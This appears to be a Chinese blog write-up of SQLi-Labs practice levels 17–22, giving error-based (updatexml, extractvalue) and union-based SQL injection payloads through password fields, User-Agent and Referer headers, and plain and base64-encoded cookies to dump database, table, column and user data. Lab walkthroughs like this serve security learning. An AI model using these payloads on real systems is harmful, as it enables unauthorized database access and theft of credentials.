• SQLi-Labs:Less17-Less22


    Less 17

    本关我们的注入语句为:select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

    使用了get_magic_quotes_gpc ,name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以我们这一关对password进行操作

    界面依旧没有回显,而且是对密码的更新操作,我们在这里使用updatexml()进行注入

     爆库名

    uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit

     爆表名

    uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit

     爆列名

    uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#&submit=Submit

     爆内容

    以下这个语法是不可以的,

    uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#&submit=Submit

    会提示错误:You can't specify target table 'users' for update in FROM clause,即不能先select出同一表中的某些值,再update这个表(在同一语句中) 

    解决方法:加一层select,再加个名字

    uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select username from (select username from users where username='admin') mingzi),0x7e),1)#&submit=Submit    (注:如果要查密码,则需要将第一个0x7e后面的2个username都替换成password)


    Less 18

    这一关我们查看代码的话会发现,这一关卡的password部分和上一关的username部分一样做了检测,因为登录成功以后看到user-agent的回显,猜测注入点在user-agnet,所以我们需要抓包修改user-agent作为注入点来进行注入,单引号闭合

     

     爆库

    'and (extractvalue(1,concat(0x7e,database(),0x7e))) and '

     点击forward

     爆表名

     'and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))) and '

     点击forward

     爆列名

     'and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))) and '

     点击forward

     爆内容

     'and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))) and ' 

     点击forward


    Less 19

    登录成功以后,显示的是refer信息,所以这一关注入点是refer

     爆库

    'and extractvalue(1,concat(0x7e,database(),0x7e)) and'

     

     剩下的和第18关一样,只是把payload需要写在refer里


    Less 20 

    登录以后发现显示的是cookie信息,所以注入点是cookie

     抓包如下在这里进行注入

     在上图红框的admin后加单引号报错,说明是字符型注入,而且闭合方式是单引号

     判断列数

     uname=admin' order by 4 --+

    order by 3 不报错,4报错,所以有3列

     

     通过联合查询页面回显来爆破,先查看回显位置

     uname=jyx'  union select 1,2,3 --+

     爆库

     uname=jyx' union select 1,database(),3 --+

     

     爆表名

      uname=jyx' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --

     爆列名

    uname=jyx' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

     爆内容

    uname=jyx' union select 1,(select group_concat(username) from users),3 --+


    Less 21

     首先登录发现还是cookie,这一关和20关相似相似,只是cookie的uname值经过base64编码了

     我们用admin' and 1=1(明文)转换为base64编码YWRtaW4nIGFuZCAxPTE=(密文)

     所以知道了闭合方式是'),页面有回显,所以我们依旧如上一关一样判断列数为3,

    爆库演示:jyx') union select 1,database(),3 #(明文)

                      YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMgIw==(密文) 

     剩下的爆表名、列名以及内容均与上一关语句一致,只是注意闭合方式为')


    Less 22

    与上一关一致,也是base64编码,只是闭合方式换成了",我就不再操作啦~~~

    这个博客就到这里啦~~~

  • 相关阅读:
    计数排序
    桶排序
    给定两个数组,这两个数组是排序好的,让你求这两个数组合到一起之后第K大的数。
    leetcode349 python3 112ms 求两个数组的交集
    leetcode852 C++ 20ms 找最高峰 序列先增后减
    leetcode665 C++ 36ms 非递减数列 这题没啥意思
    leetcode414 C++ 4ms 第三大的数字
    C++ 堆排序 以及用堆排序解决topk问题
    leetcode628 python3 124ms 三个数字的最大乘积
    leetcode26 C++ 20ms 删除排序数列中的重复元素
  • 原文地址:https://www.cnblogs.com/ApricityJ/p/13208867.html
Copyright © 2020-2023  润新知